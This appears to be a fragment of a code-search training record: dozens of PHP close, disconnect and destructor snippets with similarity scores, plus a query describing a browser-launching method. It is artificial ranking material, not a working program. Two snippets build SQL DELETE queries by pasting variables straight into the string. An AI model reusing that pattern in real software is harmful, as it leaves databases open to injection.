php-cgi.exe');\n\t\t\t\t\n\t\t// Remove any active clients\n\t\tforeach ($this->clients as $client) {\n\t\t\tMHTTPD::removeClient($client);\n\t\t}\n\t\t\n\t\t// Flush any buffered logs\n\t\tMHTTPD_Logger::flushLogs();\t\t\n\t}", "public function __destruct()\n\t{\n\t\tforeach ( self::$connected_client as $client )\n\t\t{\n\t\t\t$client->disconnect();\n\t\t}\n\t}", "public function remove ($client): void {\n unset($this->clients[$client->getId()]);\n $this->reactor->remove($client);\n }", "function removeClient($resSock){\r\n\t\tforeach($this->arrClients as $intIndex=>$objClient){\r\n\t\t\tif($objClient->resSocket == $resSock){\r\n\t\t\t\tunset($this->arrClients[$intIndex]);\r\n\t\t\t\tsocket_close($resSock);\r\n\t\t\t\tLogger::Log('Client disconnected');\r\n\t\t\t}\r\n\t\t}\r\n\t}", "private function destroyCurlQueue()\n {\n foreach ($this->request_queue as $ch) {\n if (is_resource($ch)) {\n curl_close($ch);\n }\n }\n }", "function onClose(ConnectionInterface $conn)\n {\n $this->clients->detach($conn);\n }", "public function close() {\n\t\t$this->send('__internal__', 'close'); //server side closing can be an issue, let the client do it\n\t}", "public function __destruct()\n {\n unset($this->queue);\n }", "public function removeClientOnError($client)\n { // remove reference in clients app:\n if($client->getClientApplication() !== false)\n {\n $client->getClientApplication()->onDisconnect($client); \n }\n \n $resource = $client->getClientSocket();\n $clientId = $client->getClientId();\n $clientIp = $client->getClientIp();\n $clientPort = $client->getClientPort();\n $this->_removeIpFromStorage($client->getClientIp());\n if(isset($this->_requestStorage[$clientId]))\n {\n unset($this->_requestStorage[$clientId]);\n }\n unset($this->clients[(int)$resource]);\n $index = array_search($resource, $this->allsockets);\n unset($this->allsockets[$index], $client); \n \n // trigger status application:\n if($this->getApplication('status') !== false)\n {\n $this->getApplication('status')->clientDisconnected($clientIp, $clientPort);\n }\n unset($resource, $clientId, $clientIp, $clientPort); \n }", "function __destruct() {\n\t\tfputs($this->conn, 'QUIT' . $this->newline);\n\t\t$this->getServerResponse();\n\t\tfclose($this->conn);\n\t}", "public function unregisterClient() {\n $server->unregisterClient($serverKey, $clientKey);\n // todo save server and client key\n }", "function __destruct() {\r\n\t\tfputs ( $this->conn, 'QUIT' . $this->newline );\r\n\t\t$this->getServerResponse ();\r\n\t\tfclose ( $this->conn );\r\n\t}", "public static function onBufferEmpty(\\Swoole\\Client $client)\n {\n $client->close();\n }", "public function close (int $code = Frame::CLOSE_INTERRUPT, $reason = '') {\n foreach ($this->clients as $client) {\n try {\n $client->close($code, $reason); // clients remove themselves\n }\n catch (Exception $e) {\n continue;\n }\n }\n $this->reactor->remove($this);\n return parent::close();\n }", "function close() {\n if ($this->ipcsock != NULL) { socket_close($this->ipcsock); }\n $this->ipcsock=NULL;\n }", "public function __destruct() {\n $this->send();\n }", "public function __destruct()\n {\n $this->send();\n }", "private function close() {\n\t\t// Close socket connection if keep alive isn't supported\n\t\tif (!$this->canKeepAlive()) {\n\t\t\t$this->client->close();\n\t\t} else {\n\t\t\t// Read away socket data to prepare for next request\n\t\t\tif (!$this->isEmptyBody) {\n\t\t\t\twhile ($this->readChunk() !== \"\") {\n\t\t\t\t\t// Empty body\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "protected function removeHandle(RequestInterface $request)\n {\n if (isset($this->handles[$request])) {\n $handle = $this->handles[$request];\n curl_multi_remove_handle($this->multiHandle, $handle->getHandle());\n unset($this->handles[$request]);\n unset($this->resourceHash[(int)$handle->getHandle()]);\n $handle->close();\n }\n }", "public function onClose(ConnectionInterface $conn)\n\t{\n\t\t$this->clients->detach($conn);\n\t}", "public function __destruct()\r\n {\r\n if ( $this->state != self::STATE_NOT_CONNECTED )\r\n {\r\n $this->connection->sendData( 'QUIT' );\r\n $this->connection->getLine(); // discard\r\n $this->connection->close();\r\n }\r\n }", "public function onClose(ConnectionInterface $conn)\n {\n $this->clients->detach($conn);\n }", "public function close($client)\n {\n if (is_resource($client)) {\n socket_shutdown($client);\n socket_close($client);\n }\n }", "function abort() {\n $this->aborted = TRUE;\n }", "public function __destruct()\n {\n if (isset($this->__client)) {\n $this->__client->unref($this->__java);\n }\n }", "public function __destroy()\n {\n socket_close($this->socket);\n }", "function close(){\n $this->disconnect();\n stream_socket_shutdown($this->socket, STREAM_SHUT_WR);\n }", "public function close()\n {\n $this->connection->quit();\n unset($this->connection);\n $this->connection = null;\n }", "function close() {\r\n\t\tfclose($this->socket);\r\n\t}", "public function disconnect()\n {\n $this->client->close();\n }", "public function close()\n {\n unset($this->responses);\n }", "public function __destruct()\n\t{\n\t\tif ( null !== self::$connected_client[self::$connection_params] )\n\t\t{\n\t\t\t$this->disconnect();\n\t\t}\n\t}", "public function terminate() {\n\n unset($this->controller);\n unset($this);\n exit;\n }", "public function disconnect()\n\t{\n\t\tself::$connected_client[self::$connection_params]->disconnect();\n\t\tself::$connected_client[self::$connection_params] = null;\n\t}", "private function close() {\n\t\t$this->socketManager->removeSocketNotifier($this->notifier);\n\t\t$this->notifier = null;\n\t\tfclose($this->stream);\n\t}", "public function finish()\n {\n \\Mutex::lock($this->mutex);\n if ($this->is_thread_running)\n {\n $this->queue_req(array('stop'));\n $this->join();\n $this->is_thread_running = false;\n }\n \\Mutex::unlock($this->mutex);\n }", "function queue_destroy(&$queue) { \n // Since PHP is nice to us, we can just use unset \n unset($queue); \n}", "public function close()\n {\n $this->_client->endSession($this->_session);\n }", "public function close()\n {\n curl_close($this->curl);\n $this->curl = null;\n $this->connected_to = array(null, null);\n }", "public function disconnect() \n\t{\n\t\tunset($this->connection);\n\t}", "public function close()\n {\n unset($this->conn);\n }", "public function onClose(ConnectionInterface $conn): void\n {\n $resourceId = $conn->resourceId;\n unset(\n $this->clients[$this->clientTask[$resourceId]][$resourceId],\n $this->clientTask[$resourceId]\n );\n echo \"Close connection {$resourceId}\\n\";\n }", "public function __destruct()\n {\n if (is_resource($this->socket))\n {\n socket_shutdown($this->socket);\n socket_close($this->socket);\n }\n }", "public function deleteQueue();", "public function dispatchLoopShutdown()\n {\n //...\n }", "public function __destruct()\r\n\t{\r\n\t\tif (is_resource($this->socket))\r\n\t\t{\r\n\t\t\tfclose($this->socket);\r\n\t\t}\r\n\t}", "public function disconnect_player(\\socket\\socket_client $_client){\n\t\tunset($this->clients[$_client->peer]);\n\t\t$this->state->disconnect_player($_client);\n\n\t\tif(count($this->clients)<=1){\n\t\t\t$this->state=new \\states\\state_recap($this->clients,'Player Disconnected');\n\t\t}\n\t}", "public function __destruct() {\n $this->closeSocketResource($this->listeningSocket);\n $this->closeSocketResource($this->communicationSocket);\n }", "public function onClose(ConnectionInterface $conn) {\r\n unset($this->clients[$conn->resourceId]);\r\n\r\n echo \"Connection {$conn->resourceId} has disconnected\\n\";\r\n }", "public function __destruct()\n {\n fclose($this->server);\n }", "function onClose(ConnectionInterface $conn)\n {\n $this->clients->detach($conn);\n\n echo \"Connection {$conn->resourceId} has disconnected\\n\";\n }", "public function __destruct(){\n\t\t$this->purgeQueue();\n\t}", "public function client_forget()\n\t{\n\t\treturn $this->CLI->pingQuery($this->SqueezePlyrID.\" client forget\");\n\t}", "public function uncork()\n {\n $this->_corked = false;\n\n while ($call = array_shift($this->_queue)) {\n call_user_func_array(array($this,'trigger'), $call);\n }\n\n return $this;\n }", "public function rmClient($client) : void{\n $this->checkNotConnected();\n $client_vl = is_string($client) ? $this->getClientID($client) : $client;\n if(!$this->ckClientEx($client_vl)) throw new ClientNotFound(\"The client referenced doesn't exist.\", 1);\n $qr_rm = $this->connection->query(\"DELETE FROM tb_clients WHERE cd_client = $client_vl;\");\n return ;\n }", "public function remove(Client $client)\n {\n $this->clients->remove($client);\n }", "public function disconnect() {\n if ($this->client) {\n $this->client->disconnect();\n }\n }", "public function __destruct() {\n foreach ($this->_messages as $key => $message) {\n unset($this->_messages[$key]);\n $message->close();\n }\n\n $this->_stream->stop();\n }", "public function close()\n {\n if ( $this->mh ){\n curl_multi_close( $this->mh );\n $this->mh = null;\n }\n }", "public function onClose(ConnectionInterface $conn) {\n // The connection is closed, remove it, as we can no longer send it messages\n unset($this->connections[$conn->resourceId]);\n }", "public function dispatchLoopShutdown()\n {\n\n }", "public function close()\n {\n if ($this->closed)\n {\n return;\n }\n \n $this->closed = true;\n $this->writable = false;\n $this->data = '';\n \n if($this->handle)\n {\n $this->loop->removeCurlHandle($this->handle);\n $this->handle = null;\n }\n \n $this->emit('close');\n $this->removeAllListeners();\n }", "protected function closeConnection()\n {\n fclose($this->client);\n }", "public function __destruct() {\n\t\t$this->stopRinging();\n\t}", "function Unregister($client, $msg);", "public function close() {\n $this->client = null;\n $this->connected = false;\n return true;\n }", "public function end()\n\t{\n\t\t$this->set_process_state(false);\n\t}", "function destroy()\n {\n eval(PUBSUB_MUTATE);\n $this->_evl->clearInterestOnReadable($this->_insock);\n if ($this->_insock != $this->_outsock)\n {\n @socket_close($this->_insock);\n }\n $this->_read_eof = true;\n\n $this->_evl->clearInterestOnWritable($this->_outsock);\n @socket_close($this->_outsock);\n $this->_output_shutdown = true;\n $this->_finished_writing = true;\n\n $this->_call_close_callback();\n }", "public function __destruct() {\n\t\t\tsocket_close($this->socket);\n\t\t}", "public function onClose(ConnectionInterface $conn) {\n $this->clients->detach($conn);\n echo \"Connection {$conn->resourceId} has disconnected\\n\";\n }", "public function __destruct()\n {\n if ($this->initializer === 0 || $this->initializer !== \\getmypid()) {\n return;\n }\n\n if (!$this->queue) {\n return;\n }\n\n /** @psalm-suppress InvalidArgument */\n if (!\\msg_queue_exists($this->key)) {\n return;\n }\n\n /** @psalm-suppress InvalidArgument */\n \\msg_remove_queue($this->queue);\n }", "public function __destruct()\n {\n curl_multi_close($this->mc_handle);\n\n if ($this->close_curl_handles) {\n $this->destroyCurlQueue();\n }\n }", "function PKG_discardJobs($client)\n{\n\tCHECK_FW(CC_clientname, $client);\n\t$sql=\"DELETE FROM clientjobs WHERE client='$client' AND status='wait4acc';\";\n\tDB_query($sql); //FW ok\n}", "function onClose(Ratchet\\ConnectionInterface $conn)\r\n {\r\n echo $conn->resourceId . \" has disconnected\\n\";\r\n\r\n $message = array(\r\n 'resourceId' => $conn->resourceId,\r\n 'type' => 'closeConnection'\r\n );\r\n \r\n foreach($this->clients as $client){\r\n if ($conn !== $client){\r\n $client->send(json_encode($message));\r\n }\r\n }\r\n\r\n $this->clients->detach($conn);\r\n }", "public function __destruct()\n\t{\n\t\tif ($this->getRabbitMQServerConnected()) {\n\t\t\t$this->channel->close();\n\t\t\t$this->connection->close();\n\t\t}\n\t}", "function req_unhook() {\n \\melt\\request\\reset();\n ignore_user_abort(true);\n header(\"Connection: close\");\n header(\"Content-Encoding: none\");\n header(\"Content-Length: 0\");\n ob_start();\n echo \" \";\n ob_end_flush();\n flush();\n ob_end_clean();\n}", "public function closeConnection(){\r\n $this->_connections[$this->_activeConnection] = null;\r\n\t\tunset($this->_connections[$this->_activeConnection]);\r\n }", "public function unSubscribe()\n {\n $this->disconnect();\n $this->queue = $this->currentEnvelope = null;\n }", "protected function removeClient() {\n\n\t\ttry {\n\n\t\t\t$field_id = Request::input('pk');\n\n\t\t\t$contentObj = ConnectContentClient::find($field_id);\n\n\t\t\t$contentObj->removeConnectClient();\n\n\t\t\treturn response()->json(array('code' => 0, 'msg' => 'Success'));\n\n\t\t} catch (\\Exception $ex) {\n\t\t\t\\Log::error($ex);\n\t\t\treturn response()->json(array('code' => -1, 'msg' => $ex->getMessage()));\n\t\t}\n\t}", "public function destroy(Client $client)\n {\n //\n }", "public function destroy(Client $client)\n {\n //\n }", "public function destroy(Client $client)\n {\n //\n }", "public function destroy(Client $client)\n {\n //\n }", "public function destroy(Client $client)\n {\n //\n }", "public function destroy(Client $client)\n {\n //\n }", "public function destroy(Client $client)\n {\n //\n }", "public function destroy(Client $client)\n {\n //\n }", "protected function _closeCommHandler() {\n curl_close($this->_ch);\n $this->_ch = NULL;\n }", "function forget()\n\t{\n\t}", "public function onClose(ConnectionInterface $conn) {\n $this->clients->detach($conn);\n\n echo \"Connection {$conn->resourceId} has disconnected\\n\";\n }", "private function close()\n {\n socket_close($this->socket);\n }", "public function stop() {\n\t\tforeach ( $this->connections as $id => $conn ) {\n\t\t\tif ($this->connections [$id]->isAlive ())\n\t\t\t\t$this->connections [$id]->stop ();\n\t\t}\n\t\t$this->active = null;\n\t}", "public function __destruct()\n\t{\n\t\t$this->return_die = true;\n\t\t$this->_isShutDown = true;\n\t\t\n\t\tif ( count( $this->obj['shutdown_queries'] ) )\n\t\t{\n\t\t\tforeach( $this->obj['shutdown_queries'] as $q )\n\t\t\t{\n\t\t\t\t$this->query( $q );\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->writeDebugLog( '{end}', '', '' );\n\n\t\t$this->obj['shutdown_queries'] = array();\n\t\t\n\t\t$this->disconnect();\n\t}", "public function shutdown();", "public function shutdown();" ]
[ "0.6252087", "0.59970576", "0.58153915", "0.578692", "0.5676663", "0.55063057", "0.5504417", "0.5493203", "0.54897493", "0.54486006", "0.5440492", "0.54104424", "0.5388799", "0.53721", "0.5368732", "0.5299782", "0.52900463", "0.52858347", "0.52604914", "0.5260002", "0.5231384", "0.52210593", "0.52164525", "0.5169197", "0.5143687", "0.51423794", "0.5134492", "0.5065882", "0.50558674", "0.5048855", "0.5025", "0.5006675", "0.50058556", "0.49974746", "0.49969575", "0.49941134", "0.49890518", "0.49755692", "0.49706963", "0.4966457", "0.4961909", "0.49521443", "0.49478135", "0.4946774", "0.49465474", "0.4945629", "0.49443248", "0.49368265", "0.4927715", "0.4909876", "0.4906011", "0.48835438", "0.48760498", "0.48710334", "0.4870792", "0.48662564", "0.48654592", "0.4862762", "0.4862273", "0.48578215", "0.48476478", "0.48447797", "0.4819934", "0.47938606", "0.4781419", "0.47790933", "0.47515735", "0.47378907", "0.47338635", "0.47303915", "0.47169322", "0.47147876", "0.47092956", "0.47060412", "0.46944228", "0.46896937", "0.46837243", "0.4682998", "0.4676461", "0.46701115", "0.46697026", "0.466598", "0.46631065", "0.46621704", "0.4661962", "0.4661962", "0.4661962", "0.4661962", "0.4661962", "0.4661962", "0.4661962", "0.4661962", "0.46539357", "0.46505255", "0.4642433", "0.46394995", "0.46365345", "0.46359324", "0.46254018", "0.46254018" ]
0.58386075
2
This method should be called to gracefully shut down the server.
protected static function shutdown() { if (MHTTPD::$debug) {cecho("Shutting down the server ...\n");} MHTTPD::$running = false; // Close listener MHTTPD::closeSocket(MHTTPD::$listener); // Kill all running FCGI processes exec('taskkill /F /IM php-cgi.exe'); // Remove any active clients foreach ($this->clients as $client) { MHTTPD::removeClient($client); } // Flush any buffered logs MHTTPD_Logger::flushLogs(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function shutdown() {}", "public function shutdown() {}", "public function shutdown() {}", "public function shutdown() {}", "public function shutdown() {}", "public function shutdown() {\n\t\t$this->stop();\n\t}", "public function shutdown();", "public function shutdown();", "public function shutdown() {\r\n\t\tif($this->status == 'running') {\r\n\t\t\toutput('Shutting Down Blossom Server');\r\n\t\t\t$this->status = 'shutdown';\r\n\t\t\t$this->start_shutdown_time = time();\r\n\t\t\r\n\t\t\tforeach ($this->socket_array as $socket) {\r\n\t\t\t\tif(!$socket->live_past_shutdown) {\r\n\t\t\t\t\t$socket->trigger_remove();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$this->set_interval($this, 'check_shutdown', 1);\r\n\t\t}\r\n\t\t\r\n\t\telse {\r\n\t\t\texit();\r\n\t\t}\r\n\t}", "public function stop(): void\n {\n $server = $this->createServer();\n\n // Check if it has started\n if (!$server->isRunning()) {\n output()->writeln('<error>The server is not running! cannot stop.</error>');\n return;\n }\n\n // Do stopping.\n $server->stop();\n }", "private function stopServer() {\n\t\t$this->socketSend('shutdown');\n\t\tforeach($this->pipes as $pipe) {\n\t\t\tfclose($pipe);\n\t\t}\n\t\tproc_close($this->server);\n\t}", "public function shutdown() {\n\t\t\t//\n\t\t}", "public function shutdown()\n {\n }", "public function shutdown()\n {\n }", "public function shutdown()\r\n {\r\n }", "abstract public function shutdown();", "protected function shutdown()\n {\n }", "public function shutdown()\n {\n \n }", "public function shutdown()\n {\n // do nothing here\n }", "abstract function shutdown();", "public function shutdown()\n {\n // Do nothing. Can be overridden by extending classes.\n }", "public function shutdown(){\r\n\r\n\t}", "public function shutdown()\n\t{\n\t\t$this->shutdown = true;\n\t\t$this->logger->log(LogLevel::NOTICE, 'Shutting down');\n\t}", "public function shutdown ()\n {\n $this->_signalAllWorkers(SIGKILL);\n \n $this->_logger->info('Exiting...');\n $this->_shutdown = true;\n \n exit(1);\n }", "function shutdown()\n {\n }", "abstract function shutdown ();", "abstract function shutdown ();", "public function shutdown(): void\n {\n $this->handleOnShutDownListeners();\n }", "public function shutdown(): void\n {\n $this->handleOnShutDownListeners();\n }", "static function shutdown()\n\t{\n\t\tif (!empty(self::$channel))\n\t\t{\n\t\t\tself::$channel->close();\n\t\t\tself::$channel = null;\n\t\t}\n\n\t\tif (!empty(self::$connection))\n\t\t{\n\t\t\tself::$connection->close();\n\t\t\tself::$connection = null;\n\t\t}\n\t}", "public static function shutdown(){\n\t\t\n\t\t$error = error_get_last();\t\t\n\t\tif($error){\t\t\t\n\t\t\t//Log only fatal errors because other errors should have been logged by the normal error handler\n\t\t\tif($error['type']==E_ERROR || $error['type']==E_CORE_ERROR || $error['type']==E_COMPILE_ERROR || $error['type']==E_RECOVERABLE_ERROR)\n\t\t\t\tself::errorHandler($error['type'], $error['message'], $error['file'], $error['line']);\n\t\t}\n\t\t\n\t\t//clear temp files on the command line because we may run as root\n\t\tif(PHP_SAPI=='cli')\n\t\t\t\\GO::session()->clearUserTempFiles(false);\n\t\t\n\t\t\\GO::debugPageLoadTime('shutdown');\n\t\t\\GO::debug(\"--------------------\\n\");\n\t}", "public function quit()\n {\n $this->sendServerCommand(\"quit\");\n }", "function shutdown() ;", "public function shutdown() {\n\t\t$this->objectContainer->shutdown();\n\t}", "function shutdown() {\n\tsocket_close( $socket );\n}", "public function shutdown()\n {\n if ($this->db) {\n $db->disconnect();\n }\n }", "abstract public static function cleanShutDown();", "public function shutdown(array $context = []): void\n {\n $this->sendNoticeOfDisconnect(\n 'The server is shutting down.',\n ResultCode::UNAVAILABLE\n );\n $this->queue->close();\n $this->logInfo(\n 'Sent notice of disconnect to client and closed the connection.',\n $context\n );\n }", "protected function shutDown()\n {\n if (!is_null(System::getInstance()->database())) {\n System::getInstance()->set('database', null);\n }\n }", "public function onShutdown(\\swoole_server $server)\n {\n }", "public function terminate()\n {\n $this->io->text(\"Shutting down..\");\n // TODO: Dispatch console.terminate event ..maybe..?\n exit();\n }", "private function shutdown(): void\n {\n $this->connectionPool->shutdown();\n\n foreach ($this->connectionHandlers as $connectionHandler) {\n $connectionHandler->shutdown();\n }\n\n while ($this->connectionPool->count() > 0) {\n $this->processConnectionPool();\n }\n\n $this->connectionPool->close();\n }", "public function shutdownHandler()\n {\n if ($this->gi) {\n geoip_close($this->getGI());\n }\n }", "public function quit() {\n if ($this->client) {\n $this->client->quit();\n }\n }", "public function onShutDown()\n {\n }", "public function onShutDown()\n {\n }", "public function shutdown()\n\t{\n\t\tif ( is_resource( $this->_stream ) )\n\t\t{\n\t\t\tfclose( $this->_stream );\n\t\t}\n\t}", "public function shutdown()\r\n {\r\n if ($this->connection != null)\r\n {\r\n @mysql_close($this->connection);\r\n }\r\n }", "public static function shutdown() {\n $c= new FtpConnection('ftp://test:test@'.self::$bindAddress);\n $c->connect();\n $c->sendCommand('SHUTDOWN');\n $c->close();\n }", "public function auto_shutdown() {\r\n\t\t$this->shutdown();\r\n\t}", "public function shutdownNow()\n\t{\n\t\t$this->shutdown();\n\t\t$this->killChild();\n\t}", "public function handleShutdown()\n {\n if (!is_null($error = error_get_last()) && $this->isFatal($error['type'])) {\n $this->handleException($this->fatalExceptionFromError($error, 0));\n }\n\n $this->app->exitObserver->trigger();\n }", "public function __destruct()\n {\n fclose($this->server);\n }", "public function routeShutdown()\n {\n //...\n }", "public function shutdown()\n {\n $this->set_state(STATE_HALTED);\n }", "protected function handleShutdown(): void\n {\n if (empty($error = \\error_get_last())) {\n return;\n }\n\n try {\n $this->handleError($error['type'], $error['message'], $error['file'], $error['line']);\n } catch (\\Throwable $e) {\n $this->handleGlobalException($e);\n }\n }", "public function dispatchLoopShutdown()\n {\n //...\n }", "public function stop() {\n $cmd = sprintf(\"./control.sh stop %s -game %s\", $this->sid, $this->gameId);\n ssh($cmd, $this->host);\n DB::get()->query(\"UPDATE `servers` SET `status` = 0 WHERE `serverID` = '\" . $this->serverId . \"'\");\n }", "function stop_dev_server(): void\n{\n if (optional(this()->server)->isRunning()) {\n this()->server->stop();\n }\n}", "public function handleShutdown()\n {\n if (!is_null($error = error_get_last())) {\n $this->handleException(\n new ErrorException($error['message'], $error['type'], 0, $error['file'], $error['line'])\n );\n }\n }", "public function handleShutdown() {\n\t\t$last_error = error_get_last();\n\t\tif ( !empty( $last_error ) ) {\n\t\t\t$this->handleError(\n\t\t\t\t$last_error['type'],\n\t\t\t\t$last_error['message'],\n\t\t\t\t$last_error['file'],\n\t\t\t\t$last_error['line']\n\t\t\t);\n\t\t}\n\t}", "public function __destruct()\n\t{\n\t\tif ($this->hasInitialised)\n\t\t{\n\t\t\tforeach ($this->servers as $server)\n\t\t\t{\n\t\t\t\t$this->destroyServer($server);\n\t\t\t}\n\t\t}\n\t}", "public function shutdown()\n {\n unset($this->project);\n }", "public function quit(){\n try {\n $this->execute('quit', $statusCode, 500);\n } catch (VarnishException $exception) {\n\n }\n\n $this->disconnect();\n }", "public function onShutdown();", "public function onShutdown();", "public function stop() {\n\t\t// Setup\n\t\t$options = array(\n\t\t\t'appName' => 'cakedaemon',\n\t\t\t'logLocation' => TMP . \"logs\" . DS . 'cakedaemon.log'\n\t\t);\n\n\t\tSystem_Daemon::setOptions($options);\n\t\tSystem_Daemon::stopRunning();\n\t}", "public function dispatchLoopShutdown()\n {\n\n }", "public function shutdown() {\n global $conf;\n if ($this->skip) {\n $conf['error_level'] = 0;\n // By throwing an Exception here the subsequent registered shutdown\n // functions will not get executed.\n throw new \\Exception(\"Skip shutdown functions\");\n }\n }", "public function handleShutdown()\n {\n $last_error = error_get_last();\n\n if ( ( $last_error !== null ) and ( in_array($last_error['type'], Array ( E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR, E_RECOVERABLE_ERROR, E_CORE_WARNING, E_COMPILE_WARNING, E_PARSE )) ) )\n {\n $this->DontShowBacktrace = true;\n $this->handleError($last_error['type'], $last_error['message'], $last_error['file'], $last_error['line']);\n }\n }", "public function shutdownHandler()\n {\n /*\n $err = error_get_last();\n\n if (isset($err['type']) && $err['type'] !== E_WARNING) {\n //$this->exceptionHandler(new ErrorException($err['type'], $err['message'], $err['file'], $err['line']));\n }\n */\n }", "protected function case_teardown() {\r\n if ($this->service->is_connected()) {\r\n $this->service->disconnect();\r\n }\r\n }", "public function shutdown()\n {\n $this->dbTable = null;\n }", "function shutdown() {\n\t\tif ( !$this->hasShutdown ) {\n\t\t\t$this->hasShutdown = true;\n\t\t\t$services = array_reverse( array_keys( $this->services ) );\n\t\t\tforeach ( $services as $srv ) {\n\t\t\t\tif ( method_exists( $this->services[$srv], 'xoShutdown' ) ) {\n\t\t\t\t\t$this->services[$srv]->xoShutdown();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function close() {\n\t\t$this->send('__internal__', 'close'); //server side closing can be an issue, let the client do it\n\t}", "public function __destruct() {\r\n\t\ttry {\r\n\t\t\t$this->disconnect();\r\n\t\t} catch (\\Exception $e) { // avoid fatal error on script termination\r\n\t\t}\r\n\t}", "public function shutDown() {\n\t\techo \"Permission has not been given.<br>\";\n\t}", "public function __destroy()\n {\n socket_close($this->socket);\n }", "public function disconnect() {\n $this->exec('echo \"EXITING\" && exit;');\n $this->connection = null;\n }", "function close(){\n $this->disconnect();\n stream_socket_shutdown($this->socket, STREAM_SHUT_WR);\n }", "function shutdown()\n\t{\n\t\tif (class_exists('Db'))\n\t\t{\n\t\t\tDb::close_connection();\n\t\t}\n\t}", "public function shutdown() {\n $this->saveStorage();\n }", "static function shutdown() {\n\t\tif (self::hasCurrent()) {\n\t\t\tself::$_ctrl->__destruct();\n\t\t\tself::$_ctrl = null;\n\t\t}\n\t}", "public function shutdown()\n {\n $this->callShutdownMethods($this->shutdownObjects);\n\n $securityContext = $this->get(Context::class);\n /** @var Context $securityContext */\n if ($securityContext->isInitialized()) {\n $this->get(Context::class)->withoutAuthorizationChecks(function () {\n $this->callShutdownMethods($this->internalShutdownObjects);\n });\n } else {\n $this->callShutdownMethods($this->internalShutdownObjects);\n }\n }", "public function shutdownFunction() {\n\t\tif ($this->runShutdown) {\n\t\t\t$e = error_get_last();\n\n\t\t\t// run regular error handling when there's an error\n\t\t\tif (isset($e['type'])) {\n\t\t\t\t$this->handleError($e['type'], $e['message'], $e['file'], $e['line'], null);\n\t\t\t}\n\t\t}\n\t}", "public function tearDown()\n {\n unset($this->app);\n unset($this->client);\n\n m::close();\n }", "protected function handleShutdown()\n {\n if (! is_null($error = error_get_last()) && $this->isFatalError($error['type'])) {\n $this->handleUncaughtException(new FatalErrorException(\n $error['message'], $error['type'], 0, $error['file'], $error['line']\n ));\n }\n }", "public function shutdown()\n {\n if($this->connection != null) {\n @$result = $this->connection->done();\n $this->connection = null;\n if (Net_LDAP2::isError($result)) {\n $error = 'Could not close KVDag_LdapDatabase connection';\n throw new AgaviDatabaseException($error);\n }\n }\n }", "public function handleShutdown()\n {\n if (!is_null($error = error_get_last()) && $this->isFatal($error['type'])) {\n $this->handleException($this->fatalExceptionFromError($error));\n }\n }", "private function serveStop()\n {\n foreach ($this->pid as $pid) {\n $command = \"kill -9 {$pid} > /dev/null 2> /dev/null &\";\n @exec($command, $output);\n }\n }", "public function handleShutdown()\n {\n $error = error_get_last();\n if ($error !== null && $this->isFatal($error['type'])) {\n $this->handleException($this->fatalExceptionFromError($error, 0));\n }\n }", "public function terminate() {\n\n unset($this->controller);\n unset($this);\n exit;\n }", "public function shutdown() {\r\n\t\ttx_auxo_cache::shutdown();\t\r\n\t\t$this->triggerEvent('shutdown');\r\n\t}", "public function gracefulStop(){\n $this->handleWorkerOutput('warn', \"Work done, exiting now.\");\n $this->stop();\n }", "function __destruct() {\n\t\tfputs($this->conn, 'QUIT' . $this->newline);\n\t\t$this->getServerResponse();\n\t\tfclose($this->conn);\n\t}", "private function shutDownFunction() {\n\t\t$error = error_get_last();\n\t\tif ( isset( $error ) ) {\n\t\t\tif ( $error['type'] === E_ERROR ) {\n\t\t\t\tEE::warning( 'An Error occurred. Initiating clean-up.' );\n\t\t\t\t$this->logger->error( 'Type: ' . $error['type'] );\n\t\t\t\t$this->logger->error( 'Message: ' . $error['message'] );\n\t\t\t\t$this->logger->error( 'File: ' . $error['file'] );\n\t\t\t\t$this->logger->error( 'Line: ' . $error['line'] );\n\t\t\t\t$this->rollback();\n\t\t\t}\n\t\t}\n\t}", "public function quit()\n {\n $this->disconnect();\n }", "function __destruct() {\r\n\t\tfputs ( $this->conn, 'QUIT' . $this->newline );\r\n\t\t$this->getServerResponse ();\r\n\t\tfclose ( $this->conn );\r\n\t}", "public function __destruct()\n\t{\n\t\t$this->return_die = true;\n\t\t$this->_isShutDown = true;\n\t\t\n\t\tif ( count( $this->obj['shutdown_queries'] ) )\n\t\t{\n\t\t\tforeach( $this->obj['shutdown_queries'] as $q )\n\t\t\t{\n\t\t\t\t$this->query( $q );\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->writeDebugLog( '{end}', '', '' );\n\n\t\t$this->obj['shutdown_queries'] = array();\n\t\t\n\t\t$this->disconnect();\n\t}", "function shut()\n{\n\n $error = error_get_last();\n\n if ($error && ($error['type'] & E_FATAL)) {\n errorHandler($error['type'], $error['message'], $error['file'], $error['line']);\n }\n\n\n}" ]
[ "0.78425866", "0.78425866", "0.78425866", "0.78425866", "0.78425866", "0.7825372", "0.7802271", "0.7802271", "0.76985943", "0.75290066", "0.7504021", "0.74799824", "0.7451315", "0.744412", "0.741093", "0.73860574", "0.7334429", "0.7305934", "0.7255227", "0.71839285", "0.71667624", "0.7078299", "0.70675915", "0.70256454", "0.6976372", "0.6960874", "0.6960874", "0.68787545", "0.68787545", "0.68703973", "0.6817829", "0.6807665", "0.6758454", "0.6691958", "0.6689612", "0.66629416", "0.6642914", "0.6630194", "0.66159105", "0.65725136", "0.6545438", "0.6532541", "0.6532503", "0.6494111", "0.6486588", "0.6486588", "0.6461113", "0.643548", "0.6394998", "0.6391407", "0.6372049", "0.6351217", "0.6336057", "0.63226426", "0.63177526", "0.63176197", "0.6302726", "0.6299992", "0.62795085", "0.62773985", "0.62483287", "0.62299186", "0.622382", "0.6220537", "0.6207822", "0.6207822", "0.6196147", "0.6193273", "0.61882085", "0.6177151", "0.6165779", "0.61636317", "0.6163224", "0.6160987", "0.6159207", "0.6155197", "0.614301", "0.6140186", "0.6111463", "0.6101017", "0.60966116", "0.60932153", "0.6092271", "0.60908735", "0.60875124", "0.60771316", "0.6074546", "0.6072184", "0.6068083", "0.60543996", "0.60540706", "0.60525197", "0.6017504", "0.6015931", "0.6005621", "0.5996106", "0.59930927", "0.5956926", "0.5947096", "0.5942549" ]
0.8219987
0
Launches the default browser in the background and navigates to the default index page (after a brief delay). rundll32.exe/url.dll is called here using WScript over the other options due to its generally more reliable performance ('start $url' produces an annoying error popup if the browser isn't already open).
